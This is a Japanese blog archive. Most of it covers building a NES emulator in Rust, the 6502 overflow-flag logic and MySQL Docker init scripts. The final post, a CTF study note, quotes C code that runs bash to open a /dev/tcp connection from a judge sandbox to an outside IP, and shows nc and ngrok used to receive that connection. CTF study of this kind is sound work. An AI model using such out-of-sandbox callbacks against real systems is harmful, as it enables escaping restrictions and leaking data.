ファミコンエミュレータを写経してみるお話2【PPU】
前回
やること
前回は初歩として、CPU
の実装を行い、参考サイトを元に一通りの必要と思われる命令を網羅的に実装しました。まだファミコンをエミュレートする際に必要な実装がかけているかもしれませんが、その場合は後々修正していこうと思っています。
LogiClover vol.1
を読んでいると、CPU
の次にPPU
を実装しています。これは、ファミコンの描画を司る部分だそうで、CPU
により間接的に制御されているとのこと。今回は制御をする機構はなるべく後回しに、PPU
のスタンドアロンなトコから実装していけたらなと思ってます。
参考にするもの
- コード周りはこちらのコードを観させてもらおうと思います。また
Rust
の書き方の勉強としても頼りにさせてもらいます。 github.com
ファミコンエミュレータの創り方 - Speaker Deck
- こちらに有志の皆さんが
NES
の情報をまとめて下さっているので、利用させてもらいます。特に、コードを写経しているだけでは意味がないので、まずこちらを見て自分で実装を考えます。
- こちらの本も参考にさせてもらいます。1つ目のリンクの方の実装と見比べる事で、実装にマストな部分を見出すために使いました。また、こちらの方の実装順番も参考にしてます。
読み始める前に
- ファミコンの仕様についてはネット上にたくさん情報が上がっているので、ここでは詳しい事は書かないです。(自分も分からない)用語の説明もほとんどしていません。 しかし、実装手順の再現性があるサイトは個人的に少ないなと感じたので、自分の試行錯誤をここにまとめて、うまく踏み台にしてもらえたらなと考えています。言語は
Rust
を使っており参考サイトもRust
が中心のものが多いです。 - また、解説力も乏しいので、適宜実装が完了したと思われる
commit
にジャンプできるGithub
のリンクをそれぞれに置いておくので、そこからコミット履歴などを参照していただいてもらう形にします。申し訳ないです。
レジスタ
前回のCPU
同様、レジスタ周りから作り始めるのが良さそうです。ということで、コード参考のリポジトリを確認すると、どうやらRAM
の実装とOAM
やPPU_ADDR
などを別途細かく分けて実装していること、またそれらにRAM
の実装が必要なことが分かったので同時にやってしまいます。RAM
の実装は、いろんな箇所で使いまわせるような実装になっていました。Register
の入出力周りのベースを実装したのがこのコミットです。
現状ここの実装が分からなかったので、修正しました。今後の動きによっては元に戻そうと思います。 https://github.com/196Ikuchil/nes_emulator/commit/5c3f2690437d9552b7af515fb047210fc8aaa309#r37678779
PPU
レジスタが動きそうなので、これを利用してPPU
の動きをエミュレートしていきます。まず描画する背景、スプライトを生成できるようにしようと思います。参考書籍より、タイルが最小構成要素だと思ったのですが、参考実装ではsprite_utils.rs
のSprite
という構造体がおそらく最小要素になっている(タイル・スプライトの共通要素をここで定義)ので、そこから作ります。
注意点として以下があります。
- 8*16のスプライトに対応済みとのことなのでそのまま実装する
Mapper3
に対応済みとのことだが、現状不必要なので実装しない
PPU
を呼び出せる部分まで実装しました。これをフレームごとに呼び出して画面を作っていくイメージです。リンクはPPU
メイン実装時のコミットですが、パーツごとになんとなくコミットを分けているのでそちらも実装順の参考になるかもです。
run
させることで、そのフレームで必要な背景とスプライトを一通り生成するはずです。
DMA
CPU
を介さずに直接RAM
へデータを読み込む機構を実装します。詳しくはこのスライドに紹介されています。
ファミコンエミュレータの創り方 - Speaker Deck
これも機能のみ実装しておきます。
後々に、Bus
で0x4014
番地に書き込みがあった場合にDMA
による転送が有効になるように仕込みますが、現状は実装されていません。
積み残し
今回は最低限PPU
の機能として必要そうな部分のみの実装を行いました。テストコードをサボってしまい少ない分、しっかり動くかまだ未知数ですが、切りがいいので続きは次回に回します。次回は前回のCPU
と合わせてテストROM
を動かせるようにして、今回の分のデバッグも行いたいと考えています。
追記
修正が加わっているので、PPU
あたりの該当コードは直しておいてください。後々修正する記事で同じリンクが登場するので今じゃなくても大丈夫です。
github.com
github.com
ここではspriteに修正に入っています。
github.com
またここでは画面のスクロールに修正が入っています。
ファミコンエミュレータを写経してみるお話1【CPU】
はじめに
タイトル通りです。不定期に進めるつもりですが、最後まで進むかはまだ分からないです。
モチベーション
なぜ突然始めようと思ったか。 - 自分で調べてみたいゲームがある(秘密) - 低レイヤーに強くなりたい - Rustに興味がある
巷では自作OSが流行っていますが、みんなと同じだと芸がないので若干遠いものを選んでみました。
参考にするもの
- コード周りはこちらのコードを観させてもらおうと思います。また
Rust
の書き方の勉強としても頼りにさせてもらいます。
ファミコンエミュレータの創り方 - Speaker Deck
- こちらに有志の皆さんが
NES
の情報をまとめて下さっているので、利用させてもらいます。特に、コードを写経しているだけでは意味がないので、まずこちらを見て自分で実装を考えます。
- こちらの本も参考にさせてもらいます。1つ目のリンクの方の実装と見比べる事で、実装にマストな部分を見出すために使いました。また、こちらの方の実装順番も参考にしてます。
読み始める前に
- ファミコンの仕様についてはネット上にたくさん情報が上がっているので、ここでは詳しい事は書かないです。(自分も分からない) しかし、実装手順の再現性があるサイトは個人的に少ないなと感じたので、自分の試行錯誤をここにまとめて、うまく踏み台にしてもらえたらなと考えています。言語は
Rust
を使っており参考サイトもRust
が中心のものが多いです。 - また、解説力も乏しいので、適宜実装が完了したと思われる
commit
にジャンプできるGithub
のリンクをそれぞれに置いておくので、そこからコミット履歴などを参照していただいてもらう形にします。申し訳ないです。
始めにやること
まず、ファミコンを構成する全体像を把握していくと良いと思います。CPU
やPPU
がどうつながっているのかなどなど。
ファミコンエミュレータの創り方 - Speaker Deck
色んなサイトがそれぞれの図で説明しているので、目を通した方が掴みやすいかもしれません。
CPUから作り始めてみる
僕はCPU
から作り始めてみることにしました。理由は以下です。
- ここの命令を駆使してコンピュータが動いている
- 割と他の機器に依存しておらず、コードが読み始めやすい
- 同じ理由で、とりあえず命令が1つずつ動くように作れば大丈夫そう
命令を1つずつ実装する
実装が必要なCPU
の命令は参考サイトに一覧で載っているので、簡単に言えばこれらを呼び出して動くようにできればokなはず。まず、大まかな流れを作りながら、LDA imm
関数(中身未実装)が呼べるまでを作ってみました。(リンク先はその時のコミットに飛びます)
ここでcargo run
を実行すれば以下のような出力が得られ、とりあえず呼び出せた事がわかりました。
足りないもの
命令だけ実装していくつもりでしたが、CPU レジスタ
とBus
まわりの実装も必要そうだと感じてきました。命令による状態の変化であったり、アドレスの指す他の場所のデータを読んでくるといった処理を命令に実装しなければならないためです。特にレジスタ周りはプログラムカウンタ
など特に不可欠な要素が多いので、命令系よりも先に実装しておく必要がありそうです。
レジスタの実装
簡易的に必要となりうる機能を参考サイト様から引っ張って実装してみました。実際に操作はしていないものの、操作を呼び出せるようにCPU
に接続してみたつもりです。
github.com
テストを走らせるために、データを他とやり取りするbus
も必要そうです。テストだけであれば細かな実装はいらなそうなので、うまいことモックテストができるように実装してみます。
busの仮実装と初めての命令の実装
はじめに仮実装としてBus
と思われるものを実装しました。機能は適当ですが、読み書きができるメソッドが呼び出し可能なようにしておき、周辺が充実してきたら機能を実装してく形にします。
実際にBusをCPU
のなかに組み込み、LDA imm
命令を実装、テストを追加してみたのもがこちらです。これだとまだモックは必要ありませんでした。
LDA系の命令を一通り実装する
だんだん説明が少なってますが、こちらがLDA系を網羅した際のコミットです。それぞれある程度のテストも実装しています。mod
でのテストはBus
により実際に命令を読んできて、その命令を実行させるという、大分本番に近い感じで動いていると思います。楽しいです。
はじめはLDA
の命令を網羅的に実装していたのですが、「読んだ値をそのままAへロード」か「読んだアドレスの指す場所の値をAへロード」の2パターンしかないので、結果的にInstruction
には2つしかメソッドが実装されていません。
全ての命令を網羅する
あとは全ての実装をしていくだけです。基本的に下の2つのサイトを確認しながら、命令の挙動を把握して行きます。
pgate1.at-ninja.jp
一通り網羅しました。これにより基本的なCPU周りの実装はひとまず完了したと思われるので、プルリクにしてあります。
割り込み系の追加実装
上ではソフトウェアからのBRK
の割り込みは実装したはずですが、ハードウェアからなどの割り込みは未実装でしたので追加します。下のリンク先では、追加実装時のプルリクを紹介しています。
ここまで
一通りテストも書いたはずなので、ポカはないと思いますが、間違っているとしたら自分の解釈部分で違っていた故のミスかと思います。ひとまずCPU
の実装(写経)はこれで一段落つけます。もし追加で必要なものや修正があれば、後の実装で適宜直していこうと思います。このエントリがいつまで続くか分からないですが、引き続き頑張ります。
つづき↓
追記
後日rom
を起動させながらデバッグを行い修正が加わったので、CPU
の該当コードあたりは直しておいてください。修正する記事で後々出てくるコードなので今じゃなくても大丈夫です。
Signed Int加算減算のオーバーフロー判定について
はじめに
Rust
でファミコンのエミュレータを写経していた時のお話です。CPU
の実装で加算・減算の命令実装時に、オーバーフローの判定を挟むのですが何やっているのか分からず悩んだので、ここに自分なりの解釈を書いておきます。もっと良い考え方があれば教えてください。
問題の箇所
このリポジトリのこの箇所です。
pub fn adc_imm<T: CpuRegisters>(operand: Word, registers: &mut T) { let computed = (operand as u16) + registers.get_A() as u16 + bool_to_u8(registers.get_carry()) as u16; let acc = registers.get_A(); registers .set_overflow(!(((acc ^ (operand as Data)) & 0x80) != 0) && (((acc ^ computed as Data) & 0x80)) != 0) // ココ .update_negative_by(computed as Data) .update_zero_by(computed as Data) .set_carry(computed > 0xFF) .set_A(computed as Data); } // [引用] https://github.com/bokuweb/rustynes/blob/f213881554e20054c7ea7adafe511195c25f8cb7/src/nes/cpu/instructions.rs#L147
前提知識
ざっくりまとめると
- ファミコンでは演算時に値を
Signed Int
として扱っているはずである。 - このメソッドは
u8
のoperand
とacc
の2つの変数の足し算。(正確には1か0のcarry_flagも足している) - ファミコンにおいてもし結果がオーバーフローしていたらそれを検知する必要がある。
!(((acc ^ (operand as Data)) & 0x80) != 0) && (((acc ^ computed as Data) & 0x80)) != 0
がtrue
なら、オーバーフローしてる判定らしい
オーバーフロー検知
分解
まず判定式を2つに分けてみます。
!(((acc ^ (operand as Data)) & 0x80) != 0)
(((acc ^ computed as Data) & 0x80)) != 0
1では1つ目の変数と2つ目の変数をxor
した後に、0x80
でAND
を取っています。よく分からないので更に分解してみます。xorとandで分配則が成り立つはずなので、分解します。ついでに先頭の!
も取ります。
- (acc & 0x80) ^ (operand & 0x80)
が==0
http://markun.cs.shinshu-u.ac.jp/learn/logic/logic3/html/jp/fnd4-j.html
判定
0x80
とand
をとることで、8bit
目が1
かどうか判定してます。これにより値の正負を判定できます。(正なら0x80, 負なら0x00)- 上の結果を
xor
することにより、元の2変数の正負が同じであった場合のみ0
が算出されます。(正:0x80 ^ 負:0x00 = 0x80, 正^正= 0x00) - つまり1では、
足した2変数が同じ符号であったか
を見てます。
これらを踏まえると2では、変数1と演算結果が違う値か
を判定していることになると思います。
つまり?
足し算なのに結果の正負が変わることはないよ。変わっていたら、お前オーバーフローしてね?ってことだと思います。
減算も見てみる
手短に引き算も見ます。
pub fn sbc_imm<T: CpuRegisters>(operand: Word, registers: &mut T) { let computed = registers.get_A() as i16 - (operand as i16) - bool_to_u8(!registers.get_carry()) as i16; let acc = registers.get_A(); registers .set_overflow((((acc ^ (operand as Data)) & 0x80) != 0) && (((acc ^ computed as Data) & 0x80)) != 0) // ココ .update_negative_by(computed as Data) .update_zero_by(computed as Data) .set_carry(computed >= 0 as i16) .set_A(computed as Data); } // 引用: https://github.com/bokuweb/rustynes/blob/f213881554e20054c7ea7adafe511195c25f8cb7/src/nes/cpu/instructions.rs#L174
rustynes/instructions.rs at f213881554e20054c7ea7adafe511195c25f8cb7 · bokuweb/rustynes · GitHub
日本語に直すと、変数1と変数2の符号が違っている
のに変数1と演算結果も符号が違う
となりそうです。これは式が
A - (B) = C
であることに注意すれば、足し算と同じように理解できそうです。
【Docker】docker-entrypoint-initdb.d内ファイルっていつ呼ばれるのよ
タイトル通り
初歩的な内容です。いつ呼ばれるというのは、"タイミング"の話ではなく、"初回起動時"とかそんな感じです。
docker-compose.yml
大体こんな感じの設定でビルドしてます。
#docker-compose.yml version: '3' services: ... db: image: mysql:8.0 container_name: mysql command: mysqld --sql_mode="" environment: - TZ=Asia/Tokyo volumes: - "./sql:/docker-entrypoint-initdb.d" - "./mysql_data:/var/lib/mysql"
たどる
mysql8.0
ではdocker-entrypoint.sh
内の次の行にてファイルが呼ばれている。
# docker-entrypoint.sh for f in /docker-entrypoint-initdb.d/*; do process_init_file "$f" "${mysql[@]}" done # https://github.com/docker-library/mysql/blob/696fc899126ae00771b5d87bdadae836e704ae7d/8.0/docker-entrypoint.sh
mysql/docker-entrypoint.sh at 696fc899126ae00771b5d87bdadae836e704ae7d · docker-library/mysql · GitHub
そしてこのコードは次の条件から分岐している。
# docker-entrypoint.sh if [ ! -d "$DATADIR/mysql" ]; then .... # https://github.com/docker-library/mysql/blob/696fc899126ae00771b5d87bdadae836e704ae7d/8.0/docker-entrypoint.sh#L100
$DATADIR
はとりあえずdatadir
の値が来ているようで、設定上/var/lib/mysql
に対応していた。
https://github.com/docker-library/mysql/blob/fc3e856313423dc2d6a8d74cfd6b678582090fc7/8.0/config/my.cnf#L25
ので、上のdocker-compose.yml
では/var/lib/mysql
にmysql_data
ディレクトリをマウントしているため、今回であれば初回起動時もしくはmysql_data
ディレクトリが空の時、docker-entrypoint-initdb.d
内の.sql
ファイル等が呼ばれる気がする。
【ngrok.io】特定のIPアドレスとポートでリクエストを受け付ける
あらまし
ContrailCTF
にオンタイムで参加できず、writeupを見ながら復習していた時、ngrok
なるサイトが紹介されていたのでメモがてら備忘録です。
NoWallForUs
という問題のwriteupに使われていました。シナリオとしては競プロサイトで、C
など任意言語でhello
を出力するコードを提出する合間に、フラグを見つけるみたいな感じです。今回のwriteup参考サイトはこちら
www.ryotosaito.com
提出するコードにtcp通信を仕込みます。この通信先をさくっと準備するのにngrok
を使っていました。
#include <unistd.h> int main() { execl("/bin/bash", "/bin/bash", "-c", "echo hello &>/dev/tcp/17.xxx.xx.xx/1234", NULL); return -1; } [引用元:https://www.ryotosaito.com/blog/?p=400]
自分のマシンで受け付ける
ngrok
に登録して、必要なファイルをダウンロード。インストールを行います(省略)
ngrok - secure introspectable tunnels to localhost
ngrokが便利すぎる - Qiita
ローカルでリクエストを受け付けます。今回os
はubuntu
です。
$nc -l 1234
新しいタブを開いて、ngrok
を起動し、nc
で待ち受けているやつに紐付けます。
$./ngrok tcp 1234
コンソールが表示され接続先がわかります。
あとはping
などを飛ばしてipアドレス
を特定すれば、待ち受けるIPアドレスがわかるので、それと先ほど表示されたポートを使ってリクエストを送れると思います。